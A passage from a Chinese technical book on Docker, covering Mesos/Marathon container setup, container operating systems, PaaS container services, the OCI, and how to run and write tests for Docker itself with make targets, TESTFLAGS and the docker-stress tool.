·Task：Framework调度的工作单元，在Slave节点上执行。

·Apache ZooKeeper：协调同步各个Master节点。

Mesos用Apache ZooKeeper保证Master节点的高可靠性，ZooKeeper同时测定所有Master节点以形成仲裁。高可靠性部署需要至少3个Master节点。系统中的所有节点，包括Master和Slave，会与ZooKeeper交互以选举当前的主Master。主Master将执行所有Slave节点的运行状况检查，并主动去除有故障的节点。

Mesos在版本0.20.0后开始支持Docker，具体来说，就是通过为Mesos的Slave节点配置“containerizers”选项和在Framework中为Task或Executor设定与“ContainerInfo”类似的配置信息，使得Task或Executor能够以Docker容器的方式运行。下面以Marathon框架为例进行简单讲解。Marathon是Mesos的一个适用于“常驻服务器”应用程序的Framework，用Scala语言开发，以“高可靠”模式运行，提供启停、扩展应用的REST API。在Marathon框架下具体配置Docker容器时需要至少如下两个步骤。

1）为Mesos的Slave节点设置Docker类型的“containerizers”，命令如下：

containerizers”，命令如下：
$ echo 'docker,mesos' > /etc/mesos-slave/containerizers

2）配置Marathon运行容器的类型为Docker、容器的镜像，以及一些其他容器的参数。

{
…
"container": {
"type": "DOCKER",
"docker": {
"network": "HOST",
"image": "group/image"
},
…
}…
}

12.2.2　容器操作系统

自Docker发布以来，涌现出了很多容器操作系统，包括CoreOS、Ubuntu Snappy、RancherOS、Red Hat的Atomic等。此外，VMware和微软也加入了这个行列，分别发布了称为Photon和NanoServer的容器操作系统。其实，很多其他主流的操作系统也都支持了容器技术，但是这些新的容器操作系统比传统的操作系统更轻量化。

传统的Linux发行版都有大量的外围包，需要占用很多的存储空间。然而，系统中很多运行的程序实际上不需要这些外围包。如果是在容器中运行一个Java应用，因为容器中本来就安装了JRE，对于容器外的环境不产生任何依赖，所以除了系统必须支持容器运行时环境外，其他什么都不需要。在这种情况下，这些并不被使用的外围包就显得多余，也会额外消耗一些磁盘空间，同样，为了运行多余的后台服务，还会占用额外的内存。因此，这种以容器为中心的操作系统就应运而生，业界以容器操作系统“container OS”来命名它们。图12-3是容器操作系统与其他OS在软件栈中所处位置的比较。

图12-3　几种操作系统在各自应用场景中的位置对比

其实，这种精简抽象化的操作系统原本不是什么新鲜事物，定制操作系统在嵌入式系统领域中也一直都存在，比如从机顶盒到摄像机等各个嵌入式系统中都存在对传统操作系统的裁剪。不过，这种裁剪后的系统只适用于运行相对单一的嵌入式应用，而容器操作系统是通过容器来支持各种通用的应用的，并且，容器操作系统除裁剪外，通常还具有其他一些特点，比如系统升级的方式与传统Linux发行版就很不一样。

在云时代的今天，由于容器的发展，容器操作系统顺应市场的需要自然出现。接下来，我们一起来看看在当下都有哪些容器操作系统。

1.CoreOS

CoreOS是第一个容器操作系统，它是为大规模数据中心和云计算而生，立足于云端生态系统的分布式部署、大规模伸缩扩展的需求，具备运用在生产环境中的能力。

相比于其他瘦客户操作系统主要针对特殊需求进行技术定制，CoreOS通过容器技术支持大众通用的选择。CoreOS官方支持很多部署方案，甚至一些有特殊需求的方案也得到了支持。

CoreOS是基于Chrome OS再定制的轻量级Linux发行版，将操作系统和应用程序分离，所有用户服务和应用都在容器内运行。鉴于CoreOS源于Chrome OS，因此它的系统升级方法和Chrome OS很类似，比如，有新的组件发布就会自动更新。而且它支持双系统分区，这样可以通过滚动更新的方式在任何时候直接将系统升级成最新的版本。另外CoreOS还支持秘钥签名，能有效保证更新的有效性和整个系统的完整性。

CoreOS还同时支持Docker和Rkt，也预装了Etcd、Fleet、Flannel和Cloud-init等容器集群管理配置工具。

2.RancherOS

RancherOS只由内核和Docker构成。相比于VMware的Photon大约300MB的体积来说，RancherOS是最小的容器操作系统之一，它只有22MB左右。

为了开发Docker化的容器操作系统，它采用了一种与众不同的方式来引导系统，也就是：去掉了内嵌在Linux发行版中的服务管理系统Systemd，改用Docker来引导系统，这个Docker叫“系统Docker”，负责系统服务的初始化，并将所有的系统服务作为Docker容器进行管理，包括Systemd。另外系统Docker会创建一个特殊的容器服务Docker，称为“用户Docker”，主要负责应用容器的管理。

在RancherOS开发的早期阶段，“系统Docker”创建的Systemd容器经常会和“用户Docker”直接冲突。因为“用户Docker”的应用容器是在Systemd外创建的，Systemd总是会去杀掉它们。RancherOS花了很长时间才找到一种解决方案，且目前不确定是否还有其他方法可以解决这个问题。

RancherOS具有如下特点：

·与Docker的开发速度相匹配，提供最新版本的Docker。

·不再需要复杂的初始化系统，使用一个简单的配置文件，管理人员就能很容易地把系统服务配置成Docker容器。

·容易扩展，用户很容易通过配置使RancherOS启动一个自定义的控制台容器，并提供了Ubuntu、CentOS或者Fedora发行版的体验。

·资源占用小、启动速度快、容易移植、安全性更好，升级、回滚简单。

·可以使用像Rancher这样的集群管理平台，容易维护。

3.Snappy Ubuntu Core

Ubuntu是Docker容器技术最流行的Linux发行版，Canonical也引以为傲。从Docker的周边生态来看，在Ubuntu上运行Docker容器的数量远远超过其他操作系统。

Canonical为移动设备创建“短小精悍”的操作系统付出了很多努力，也从其中汲取了很多经验教训，而Snappy Ubuntu Core就是运用这些经验教训开发出来的，其体积只有200MB左右。为了支持用户系统可靠和应用更新的需求，Snappy Ubuntu Core对系统和应用采取“基于业务和镜像delta”的更新，只传输镜像delta以保证小数据量下载，并且可以回滚。

Snappy Ubuntu Core从安全性考虑，引入AppArmpr来隔离应用的运行环境。并且它将会与Canonical自己基于LXC开发的轻量化Hypervisor（LXD）整合，使得VM化的容器成为可能。

此外，Snappy Ubuntu Core还支持Canonical自己的编排部署工具Juju Charms，并提供了对容器整个生命周期的管理。

另外，Snappy Ubuntu Core是目前业界唯一支持ARM的容器操作系统。

4.VMware Photon

Docker使用容器这种轻量级的虚拟化技术部署应用，随着Docker的越来越流行，VMware受到的潜在威胁也越来越大。这是因为容器可以不需要虚拟机而直接运行在裸机上，虽然目前由于安全性还存在不足，公有云上的容器仍然跑在虚拟机里。

虽然VMware去年8月宣布了与Docker的合作伙伴关系，且宣称会帮助Docker构建一个真正可扩展的系统，后续也在其产品中对与Docker相关的网络和存储等做了优化和增强。但是，应用在操作系统之上的容器中运行，是VMware无论如何也无法面对的痛点，因为VMware没有操作系统，或者就VMware目前的技术软件栈来说，需要在Hypervisor之上的系统中提供管理，也就是在操作系统中实施管理。当然，VMware也不可能不允许CoreOS、Red Hat或者其他操作系统运行在Hypervisor上，自然也就无法独自在Hypervisor中提供对容器的支持。而这就需要有一个特别的操作系统来帮助把容器加到VMware的产品里，并且需要扩展Hypervisor到操作系统里。于是，在今年早些时候VMware推出了容器操作系统Photon，它紧密地与vSphere生态集成，并做了相应的优化，定位于VMware产品线。它具备以下特性。

·支持多种主流容器——Docker、Rkt和Garden。

·通过虚拟机技术或者集成Lightwave的授权与鉴权机制来提高容器运行的安全隔离性。

·支持全新的、开源的兼容Yum的包管理器。

5.Red Hat Atomic Host

RHEL 7 Atomic Host在2015年3月发布，相比RHEL 7完全发行版的6500个外围包，它的外围包只有不到200个，总大小约为400MB。

它比传统操作系统更轻量，但体积并没有比其他同类产品小。主要考量的是，尽管RancherOS能做最小化的构建，但是可能会带来更多的复杂度，因为除了应用容器之外，还需要运行额外的系统容器，所以，核心系统服务需要在主机里。Red Hat针对系统行为的数据收集、系统日志和身份验证等也开发了容器化版本，但是坚持认为这些组件必须得放在主机上。

Atomic Host是从经过Red Hat工程团队严格验证的企业级操作系统派生而来的精简系统。Red Hat对Atomic Host也在做ISV（Independent Software Vendors）的工作，认证容器是基于知名的、测试过的、安全的基础镜像构建的。

Atomic Host采用SELinux提供强大的多租户环境下的安全防护。此外，Atomic Host支持Docker，也预装了Kubernetes等集群管理配置工具。

6.Microsoft Nano Server

Nano Server是微软的容器操作系统，约400MB大小，还处于早期阶段。它定位在两个场景上，一是聚焦Hypervisor集群和存储集群等云基础设施，二是着重于原生云应用的支持。对于第二种场景，Nano Server适配新类型的应用，这些应用在全新的基于Azure的环境中开发，并部署在Azure上面，而不是在传统的基于客户端的Visual Studio中。这些新的应用为Windows开发者通往容器领域提供了入门通道。

开发者为Nano Server开发的程序，可与已有的Windows服务器安装版本完全兼容，因为Nano Server实际上是Windows服务器版的子集。

给Nano Server写的应用可以运行在物理机上、虚拟机上或者容器里。有两类容器可在Windows服务器和Nano Server上工作，一类是为Linux开发的Docker容器，另一类是微软为自己的Hypervisor平台Hyper-V开发的容器。这些容器提供了额外的隔离，能真正用于像多租户服务或者多租户PaaS等场景。

Nano Server支持多种编程语言和运行时，如C#、Java、Node.js和Python等，也支持Windows服务器容器和Hyper-V容器，且预装了Chef等集群管理配置工具。

微软从Nano Server入手，拥抱容器，给开发者提出了挑战。开发者可能需要一个比较长的转变期来接受并习惯于微服务理念。

12.2.3　PaaS平台

平台即服务（PaaS）的模型在各种云计算服务模型中最引人注目。云计算给业界带来了平台操作灵活、不用担心IT基础设施而只关注开发构建应用本身等一系列好处。如果想真正利用云计算的能力及它提供的操作灵活性，就应该使用PaaS提供的能力，而不是搭建IaaS实例，因为与PaaS提供的能力相比较来看，这会需要很多人为的手工干预。

当前主要有AWS、GAE（Google App Engine）和Azure几家规模比较大的PaaS平台。亚马逊的AWS是第一个公有云平台，一开始AWS只支持IaaS。而Azure从一开始就是做的PaaS平台，微软在该平台上简化了构建和部署应用到云上的方式。后来AWS开始提供对PaaS的支持，而Azure开始提供对IaaS的支持。在这同一时期，Google Cloud也开始提供PaaS。

通常来说，当前PaaS的做法是为每种编程语言和开发平台提供独立的运行时环境。如果PaaS平台对开发语言环境不提供支持，就必须用IaaS实例，并需要搭建这个基础设施。

下面一起来看看这几大PaaS平台在向容器方向发展的情况。

1.亚马逊EC2容器服务（ECS）

其实很多AWS用户主要用IaaS服务来部署Web应用而不是使用AWS的Elastic Beanstalk，这使得Elastic Beanstalk比较尴尬。面对这些业务反馈，AWS开始对Elastic Beanstalk进行改造，现已发展成ECS（EC2容器服务）。这是从AWS开始的影响巨大的开端，通过PaaS抽象，开发者可以工作在容器环境下，不用担心云平台是否对编程语言运行时提供支持，可以把应用直接打包进Docker容器。这为云平台和在云平台上做开发的开发者提供了巨大的便利，比如，如果AWS ECS没有Go语言的运行时，但是ECS支持Docker，就根本不会影响在AWS ECS上运行用Go语言编写的应用，因为Go语言的Image已经打包进应用的Docker容器里。

亚马逊的ECS可以在受控的EC2实例集群上轻松地运行应用。本地打包为容器的应用程序能以同样的方式部署并运行在AWS ECS管理的容器中。

对于ECS，不需要类似Kubernetes的集群管理软件。它可以根据自己的资源需求和可用性要求在集群中编排部署支持Docker的应用，也可以从一个容器扩展到覆盖数百个VM实例的数千个容器，且运行应用的方式并不会因此而变得复杂。EC2容器服务将基础设施的一切复杂因素全部消除，开发者就集中精力设计、开发、运行容器化应用即可。

借助ECS，可以获得如创建、停止Docker容器的控制权，也可以获得对集群状态信息的可视化监控，甚至可以集成并使用自研的容器程序将ECS接入现有的软件交付过程（例如持续集成和交付系统）。

据悉年底ECS会支持原生的Swarm和Compose。

2.GKE：向容器即服务（CaaS）演进的云化PaaS

自2014年Docker 1.0发布后，应用的容器化一直在得到业界的关注。事实上，Google早在2007年就开始做容器方面的工作了，GKE（Google Container Engine，由于GCE已经用作Google Compute Engine的缩写，因此使用GKE作为缩写）就是基于那时发展起来的容器技术的PaaS服务。Google声称，在他们的全球数据中心范围内，每周会启动超过2000000000容器实例，因为Google的任何应用（从Gmail到搜索），都会被打包成Linux容器运行。过去Google一直在秘密地用容器技术扩展他们的基础设施，现在他们已是容器生态圈的领跑者。

GKE是从已有的PaaS引擎GAE上改造而来的，它集成了Kubernetes，是一个能够对Docker容器提供全面管理的集群管理器。在GKE上，可以非常容易地打包Docker容器，然后在Google的基础设施上快速运行应用。这个全新的服务提供了对容器技术的支持，既可以管理运行在单个虚拟机上的云化应用，也可以运行轻便的Docker容器，并且这些容器会被调度到一个受控的集群里。这样开发者就能够在容器环境下进行轻松灵活的开发了。这种全新的服务提供方式业界给它命名为容器即服务（CaaS）。

3.Docker公司与微软合作促进Docker集成进Windows和Azure

Docker是构建在Linux容器技术之上的，因此，目前不支持在Windows服务器上运行Docker容器。业内许多人认为集成Docker是又一个在Windows上适配Linux的推动因素。但是趋势正在改变，微软和Docker公司已经宣布是合作伙伴关系，主要任务就是在Windows服务器和Azure上集成Docker。如果Docker公司和微软能够为Windows提供更好的平台，那将是另一个巨大的变革。

12.3　生态圈的未来发展

12.3.1　Docker公司的发展和完善方向

从在开源社区的首次发布到DockerCon 2015及OCP的成立，再到最近OCP更名为OCI，Docker生态在持续快速发展，Docker俨然已经成为很多公司构建、发布与运行分布式应用程序的平台，并且在容器化进程中，Docker对工业界与开发方式的变革有着深远影响。

在DockerCon 2015技术大会上，Docker公司的首席执行官Golub提到Docker的未来5步发展计划：

1）构建一个轻量级的容器；

2）容器标准化；

3）为容器创建生态圈；

4）使能多容器的应用模式；

5）创建Docker容器管理平台。

同时，在会上Solomon Hykes也提出了Docker在技术上的4个目标：

1）重新打造程序员的编程工具集；

2）打造更好的软件构件；

3）制定开放的标准；

4）用独到的方法解决企业的现实问题。

从当前生态圈发展的现状来看，Golub提出的那5步发展计划中前三个步骤已经完成。但是，这并不表示Docker公司就可以在这有利于自己的既有发展趋势下，轻松地赚取当下生态链的利益。我们都知道Docker背后的技术并不高深，其备受关注的原因主要是适应了互联网时代的需要，为业内已经发展的云计算平台和应用架构指明了一个新的发展方向，另外，Docker公司的发展本身就得益于社区和生态圈的构建，不进则退，所以需要长期经营下去。另外，尽管基于容器的微服务架构带来了很多好处，比如服务易于抽象和实现，可以独立维护服务等，但是这也增加了系统中服务组件之间交互、部署和维护的复杂度。所以，在DockerCon2015技术大会上Golub提出的“使能多容器的应用模式”和“创建Docker容器管理平台”的发展目标，以及Hykes提出的“用独到的方法解决企业的现实问题”技术目标，就是用以应对当前面临的短板的。而这也需要生态圈的发展，事实上，Golub并不避讳Docker现在取得的成就有赖于生态圈和社区。也正因为如此，Docker公司还会在生态圈建设上投入大量的精力，比如扩大普及范围，希望实现人人都要用、都能和都会用。

在这过程中，不会简单从零开始，而是基于既有工具集不适应需求的部分做增量改造，同时兼顾“打造更好的软件构件”技术目标，提高平台的扩展性和工具的组件化。因此，Docker公司提出了插件的理念，在这种理念下实现的框架使得第三方工具可以以插件的形式和Docker协作。目前Docker在网络、数据卷、调度器和服务发现等功能点上已经设计并实现了相应的插件接口，一些第三方工具厂商也在验证与Docker的对接。从Docker的发展目标和技术目标来看，Docker还会在既有的项目（甚至开发新的项目）中增加更多的插件接口，使得更多的工具集可以加入Docker生态圈。

同时，Docker还发起了ETP（Ecosystem Technology Partner）项目计划，目前该项目对AppDynamics、Datadog、New Relic、Scout、SignalFx和Sysdig几家公司的应用监控软件在Docker上的集成做了验证。这几家公司的监控软件是对分布式软件做监控，由于基于微服务架构的分布式软件的伸缩变化、迁移等特性都是不同的，因此原有的监控软件已无法满足需要。而这些监控软件与Docker集成，提供了对Docker容器化的应用进行有效监控的解决方案。ETP项目不仅仅是聚焦在监控软件上，也将会在其他领域付诸实施，比如日志、配置管理、网络和存储等。

前文阐述的Docker公司未来的愿景目标以及实施的策略、计划和手段，使得业界因Docker、容器对行业的正面影响甚至变革充满了期待。

12.3.2　OCI组织

Docker公司与Linux Foundation合作，在DockerCon2015技术大会上发起成立了Open Container Project。Docker公司为OCP组织贡献了Libcontainer项目，并贡献了基于Libcontainer的容器运行时管理工具runC，为OCP奠定了技术基础，该项目提供了对容器运行时格式OCF的支持，而且邀请AppC的维护者以委员的身份加入OCP，因此CoreOS的“AppC”标准格式，也可能会成为新的OCF格式的很大一部分。该举措的主要目的是为了向业界传达“保证容器标准制定的独立运作和中立性”的意图。

在成立时，除了Docker和CoreOS外，AWS、Apcera、Cisco、EMC、Fujitsu、Goldman Sachs、Google、HP、Huawei、IBM、Intel、Joyent、Linux Foundation、Mesosphere、Microsoft、Pivotal、Rancher、Red Hat和VMware 19家公司宣布加入OCP。最近，AT&T、ClusterHQ、Datera、Kismatic、Kyup、Midokura、Nutanix、Oracle、Polyverse、Resin.io、Suse、Sysdig、Twitter和Verizon 14家公司也宣布加入。由于OCP总是容易和Open Compute Project混淆，所以又更名为OCI。加入OCI组织的35家企业来自业界不同的领域，既有运营商、IT/CT解决方案提供商、操作系统厂商，也有云服务提供商、基金会等，既有传统IT厂商，也有初创公司。

开放标准组织的成立确实是个好消息，但在制定标准的过程中，需要各个成员合作和妥协，最终才能达成一致的目标，而这会是一个比较漫长的等待期。

12.3.3　生态圈格局的分化和发展

Docker生态圈不仅在技术层面的纵向发展上有很多需要完善的地方，而且在企业竞争、交叉融合的横向发展上也充斥一些潜在的不确定性，其市场格局扑朔迷离，目前处于分化发展中。从主要的IaaS基础设施厂商到PaaS厂商，再到处于早期发展的初创公司，都在发声抢占生态圈中属于自己的领地。如此多的厂商参与角逐、站位布局，一点都不奇怪。他们有的会形成隐形联盟，有的会不断地完善软件栈，总之，就是为了扩大对生态圈影响力，为自己在生态链的利益最大化谋求长远布局。比如，容器技术的内核支撑特性之一Cgroup是Google推入社区的。Google基于这些内核特性开发容器技术已多年，同时它也在自己研发的编排部署工具Kubernetes中支持了Docker和Rkt，Google甚至会和各个容器技术厂商合作实现各种容器之间的协同工作。而且，Google还开源了Kubernetes，其中的商业价值值得深思，我们都知道，容器化为云技术背景下的微服务架构的分布式应用指明了方向，而对分布式应用的容器进行管理的编排部署工具则是这场角逐中的主要技术软件栈。Google在Kubernetes上的这些技术实现和社区开放的行为，将为其在接下来提供云服务的市场角逐中抢占先机。

前面的描述都是围绕Linux容器开展的。由于业界所共知的Windows与Linux之间的关系，这场基于Linux的容器技术潮流和非Linux阵营的Microsoft原本不会发生什么关系。但是，Microsoft作为在业界发展多年的大鳄，深刻理解云时代的到来，并在云服务中及时推出了Azure，也取得不少市场份额。而在容器技术的发展大趋势下，Microsoft再次选择拥抱容器，和Docker合作，并决定在Windows的操作系统中支持Docker。但是这场战斗会很艰难，因为Windows和Linux多年在业内并行发展，在技术融合上没有多少交集，这使得微软的技术软件栈孤立于业界发展，积累下来的兼容性鸿沟也越来越大。

在Docker还未出现的时候，云服务的主流厂商的争夺似乎尘埃落定，看上去是亚马逊AWS赢得了胜利。但是容器时代的全面到来，云服务厂商之间又会进入下一轮的争斗，你们是否已隐约看到一些端倪，比如Google在容器生态圈的领跑意味着什么！云服务之争才刚刚开始，这场争夺恰恰是从容器技术的角逐开始的，结果如何，我们拭目以待。

12.4　本章小结

Docker自从开源后，得到了业界广泛的关注，并迅速发展，形成了庞大的生态圈。Docker公司的容器技术为互联网时代的云计算技术之发展指明了新的方向，它也因此成为这场技术潮流事实上的引领力量之一，但是Docker生态圈还有很长的路要走、很多事情要做。Docker生态圈的发展也充满了不确定性，甚至会有市场格局分化、产生隐形联盟的趋势。

第13章　Docker测试

先前的章节主要以开发的视角介绍了Docker的特性与实践。本章第1部分将从测试的角度讨论Docker社区中的测试框架、测试用例执行、现有社区测试用例中有待改进的方面，以及主流社区以外的其他Docker测试套。第2部分将介绍Docker技术在测试领域的应用，主要包括Docker对测试技术的影响、Docker技术在测试中的适用范围，最后通过Jenkins+Docker实例的方式介绍如何配置与GitLab相关的自动化测试环境。

13.1　Docker自身测试

13.1.1　Docker自身的测试框架

在提交新的开发代码到社区前，通常需要针对待提交的代码添加或修改对应的测试用例，以确保新添加的代码能够得到充分的测试。如果patch只涉及一个独立模块的修改，则只需要提交针对这个patch的单元测试用例；如果patch会涉及不同模块之间的功能，就需要针对这个patch提交集成测试用例，以便测试多个不同模块的接口。当然也可以提交只包含测试用例的patch，用以补充、完善Docker的测试集。在提交代码前，建议首先在自己本地的环境中运行测试用例。

接下来介绍一下Docker自身的测试框架。Docker主程序是由Go语言编写的，它的测试框架自然也使用了Go语言的测试框架。Go语言具有部署简单、并发性好等特点。它的测试框架是通过testing包和go test命令来提供测试功能的，测试代码包含在文件名以“_test.go”关键字结尾的文件中。如果需要获取代码测试覆盖率，可以使用go test-cover命令。读者可以在http://golang.org/pkg/testing/中获取到更多关于Go语言测试框架的信息。

13.1.2　运行Docker测试

在Docker项目的Makefile文件中包含了多个与测试相关的target，内容见表13-1所示。

表13-1　与测试相关的target

在进行测试时，首先将Docker的源码下载到本地：

$ git clone https://github.com/docker/docker.git

之后进入docker目录并开启测试。

$ cd docker && make test

这条命令将使用源码目录下的Dockerfile构建一个镜像，这个镜像中包含了运行Docker测试用例的所有依赖，如果是第一次执行这个命令，往往会花费较长时间。镜像制作好后会基于此镜像启动一个容器，所有的用例将会运行在这个容器中，以便做到测试环境独立于主机环境。测试分为以下几步：

1）编译一个新的Docker二进制文件。

2）交叉编译不同操作系统对应的Docker二进制文件。

3）在容器中运行所有的测试用例。

提示

根据机器的性能高低，测试执行时间的长短也有所不同，全量测试通常需要几十分钟的时间。系统有一个默认的超时时间，这个时间定义在docker/hack/make.sh脚本的${TIMEOUT：=60m}语句中，默认为60分钟。可以根据主机的性能适当调整超时时间。

下面介绍单独执行某些专项测试的方式。

单元测试的目的是通过一小段代码来验证一些单元模块是否能正常工作。可通过以下命令运行单元测试：

$ make test-unit

以下为单元测试的部分log输出：

+ go test -test.timeout=60m github.com/docker/docker/runconfig
PASS
coverage: 89.5% of statements
+ go test -test.timeout=60m github.com/docker/docker/utils
PASS
coverage: 33.3% of statements
+ go test -test.timeout=60m github.com/docker/docker/volume/drivers
PASS
coverage: 37.9% of statements
+ go test -test.timeout=60m github.com/docker/docker/volume/local
PASS
coverage: 68.7% of statements
Test success

可以使用TESTDIRS变量使其只针对一个目录进行测试。例如以下命令会运行daemon文件夹下的测试。

$ TESTDIRS="daemon" make test-unit

集成测试会验证两个或两个以上模块间的接口工作是否正常。可以参照Docker客户端命令行来编写集成测试用例。下面的命令会运行集成测试用例：

$ make test-integration-cli

以下为集成测试的部分log输出：

PASS: docker_cli_start_volume_driver_unix_test.go:350: DockerExternalVolumeSuite.TestStartExternalVolumeDriverBindExternalVolume 0.439s
PASS: <autogenerated>:30: DockerExternalVolumeSuite.TestStartExternalVolumeDriverDeleteContainer 1.547s
PASS: docker_cli_start_volume_driver_unix_test.go:274: DockerExternalVolumeSuite.TestStartExternalVolumeDriverLookupNotBlocked 0.143s
PASS: docker_cli_start_volume_driver_unix_test.go:310: DockerExternalVolumeSuite.TestStartExternalVolumeDriverRetryNotImmediatelyExists 4.572s
PASS: <autogenerated>:29: DockerExternalVolumeSuite.TestStartExternalVolumeDriverVolumesFrom 2.371s
PASS: docker_cli_start_volume_driver_unix_test.go:176: DockerExternalVolumeSuite.TestStartExternalVolumeUnnamedDriver 1.537s
PASS: docker_cli_pull_test.go:102: DockerHubPullSuite.TestPullAllTagsFromCentralRegistry 8.167s
PASS: docker_cli_pull_test.go:133: DockerHubPullSuite.TestPullClientDisconnect 1.161s
PASS: docker_cli_pull_test.go:16: DockerHubPullSuite.TestPullFromCentralRegistry 1.246s
PASS: docker_cli_pull_test.go:65: DockerHubPullSuite.TestPullFromCentralRegistryImplicitRefParts 5.012s
PASS: docker_cli_pull_test.go:42: DockerHubPullSuite.TestPullNonExistingImage 2.123s
PASS: docker_cli_pull_test.go:92: DockerHubPullSuite.TestPullScratchNotAllowed 0.050s
OK: 887 passed, 10 skipped

使用以下命令可运行客户端的Python API测试：

$ make test-docker-py

13.1.3　在容器中手动运行测试用例

另一种执行测试的方法是在一个Docker开发容器里手动运行hack/make.sh脚本来启动测试。注意，这个脚本不是Makefile文件，没有一个单独的target来运行所有的测试（即不能执行./hack/make.sh test），因此需要在命令行中指定想要执行的测试子项（如./hack/make.sh dynbinary binary cross test-unit）。

首先下载一个用于开发的Docker镜像，这里推荐使用dockercore/docker镜像，这个镜像就是Docker官方通过Jenkins运行自动化测试时使用的镜像。它是由Docker官方负责维护的，如果Docker编译环境发生变化，这个镜像也会在第一时间适配新的变化。下载命令如下：

$ docker pull dockercore/docker

然后进入Docker项目目录并启动一个基于dockercore/docker镜像的容器。

$ cd docker && docker run --privileged --rm -ti -v `pwd`:/go/src/github.com/docker/docker dockercore/docker /bin/bash

下面使用hack/make.sh脚本启动单元测试。

# root@2e61674e236e:/go/src/github.com/docker/docker# hack/make.sh dynbinary binary test-unit

接着使用hack/make.sh脚本启动集成测试。

# root@2e61674e236e:/go/src/github.com/docker/docker# hack/make.sh dynbinary binary test-integration-cli

使用以上命令可以在容器中运行对应的测试用例，通过这种方式可在不必重新启动容器的条件下完成测试。

提示

大部分专项测试需要首先完成dynbinary和binary的编译。

13.1.4　运行集成测试中单个或多个测试用例

如果只想验证自己添加的测试用例能否通过，可以设置TESTFLAGS环境变量为TESTFLAGS='-check.f YOUR_TEST_CASE'。例如，如果只想测试docker_cli_run_test.go中的测试用例TestRunEchoStdoutWithCPUQuota，则执行以下命令行：

$ TESTFLAGS='-check.f TestRunEchoStdoutWithCPUQuota' make test-integration-cli

也可以在Docker开发容器内跑相同的测试：

# TESTFLAGS='-check.f TestRunEchoStdoutWithCPUQuota' ./hack/make.sh binary test-integration-cli

可以使用TESTFLAGS环境变量来运行多个测试用例。例如，如果只想跑测试用例名以“TestBuild”开头的用例，可以执行以下命令。

$ TESTFLAGS='-check.f TestBuild*' make test-integration-cli

也可以在Docker开发容器内跑相同的测试：

# TESTFLAGS='-check.f TestBuild*' hack/make.sh binary test-integration-cli

提示

Docker测试默认使用的exec-driver是native，如果你的测试用例与lxc driver相关，则可以在启动容器的时候设置环境变量DOCKER_EXECDRIVER=lxc；默认使用的storage-driver是vfs，如果测试用例跟特定的storage-driver相关（比如overlay），则设置环境变量DOCKER_GRAPHDRIVER=overlay。

13.1.5　Docker测试用例集介绍

集成测试用例涵盖了Docker绝大部分的命令操作，下面以集成测试为例介绍添加测试用例的方法。

名称以docker_api开头的文件包含通过HTTP方式执行Docker API测试的用例。而名称以docker_cli开头的文件包含通过封装Docker命令行的方式进行测试的用例。文件requirements.go定义了测试需求，对于无法满足相应环境条件的测试需求，其相关的测试用例将不会被执行。例如，对于网络测试需求，系统会先判断当前环境是否能够访问https://hub.docker.com，如果无法访问，则网络相关的测试用例将被跳过。与requirements.go同目录的其他文件定义了一些常用变量，并封装了一些函数。

下面以docker_cli_search_test.go文件中的TestSearchOnCentralRegistry用例为例来介绍用例的书写方式。

// search for repos named  "registry" on the central registry
func （s *DockerSuite） TestSearchOnCentralRegistry（c *check.C） {
testRequires（c, Network, DaemonIsLinux）
out, exitCode := dockerCmd（c, "search", "busybox"）
if exitCode != 0 {
c.Fatalf（"failed to search on the central registry: %s", out）
}
if !strings.Contains（out, "Busybox base image."） {
c.Fatal（"couldn't find any repository named （or containing） 'Busybox base image.'"）
}
}

这是一个非常简单的测试用例，目的是测试在Docker hub中是否能够搜索到busybox镜像。

testRequires（c，Network，DaemonIsLinux）语句表示在以下两个条件都满足的情况下才会执行测试，第一是有正常的网络连接；第二是Docker daemon是Linux版本的，而非Freebsd或Windows等操作系统。

out，exitCode：=dockerCmd（c，"search"，"busybox"）语句中的dockerCmd是一个被封装的函数，执行效果相当于docker search busybox。Out为该命令返回的屏幕输出。之后会判断命令运行的返回值是否正确，最后判断屏幕输出是否包含了预期的字符串“Busybox base image.”。

13.1.6　Docker测试需要改进的方面

虽然目前社区中的用例已经覆盖了绝大部分Docker的基本功能，但很多方面仍有待改进，例如：

·缺少性能测试用例。无法统计容器占用CPU、内存消耗的数据以及磁盘、网络I/O、TCP/IP通信的带宽和延时；无法测试容器转发能力，包括吞吐量、延时、丢包率等。

·缺少可靠性、稳定性测试用例。无法测试容器并发能力；缺少容器在高负载环境下对运行压力进行测试的用例等。

·缺少边界和异常测试用例。绝大部分的用例是开发人员提交代码时附带提交的，而这就会导致一个问题，开发人员往往更重视功能代码的质量，对于测试代码的质量并不那么重视了，这使得很多测试用例的设计缺少边界思维和异常考虑。

·无法产生界面友好的测试报告。和很多商业测试软件相比，Docker测试框架是在命令行中输出结果的，并没有将测试结果以报告的方式存储到文件中，无法生成友好的测试报告。

·缺少安全测试用例。缺少针对SELinux环境或其他安全环境下相关的测试用例。

13.1.7　构建和测试文档

社区贡献者也可以针对文档提交patch。如果在贡献特性的代码中涉及了用户用到的Docker基本操作或其他相关内容，就需要在patch中带有文档的修改。以下将展示如何构建、查看、测试Docker文档。

文件夹docs中存放着Docker文档的源文件，可以使用如下命令完成文档的构建。

$ make docs

构建完成后，在浏览器中输入主机的IP地址+8000端口即可浏览文档，例如http://10.110.52.49：8000/，效果如图13-1所示。

图13-1　Docker文档Web页面

修改文档后需要针对文档的语法和拼写进行校对，最好的检查方法是使用一个在线语法检查软件，如http://www.hemingwayapp.com。在修改文档源码后，需要测试修改的内容是否会出现在文档中，并且确保文档链接是有效的。对于与Docker操作相关的文档，则需要根据文档的步骤执行操作，确保文档的书写准确无误。

13.1.8　其他Docker测试套

1.docker-stress

由美国Spotify公司开发，是一款遵循Apache 2.0协议的开源测试软件。能够通过并发启动容器的方式实现对Docker daemon的压力测试并提供监控工具。该项目在Github的地址为https://github.com/spotify/docker-stress。

其常用的命令选项如下：

root@ubuntu:~/docker-stress$ ./docker-stress -h
NAME:
stress - stress test your docker daemon
USAGE:
stress [global options] command [command options] [arguments...]
VERSION:
0.0.0
COMMANDS:
help, h       Shows a list of commands or help for one command
GLOBAL OPTIONS:
--binary, -b "docker"       path to the docker binary to test
--config "stress.json"       path to the stress test configuration
--concurrent, -c "1"       number of concurrent workers to run
--containers "1000"       number of containers to run
--kill, -k "10s"       time to kill a container after an execution
--help, -h            show help
--version, -v         print the version

通过以下命令可以执行一个压力测试，在这个测试中总共会运行10000个容器，且在同一时刻并发运行了100个容器，每个容器的运行时间为8秒。

$ ./docker-stress -c "100"  --containers "10000" -k "8s"

2.OCT测试套

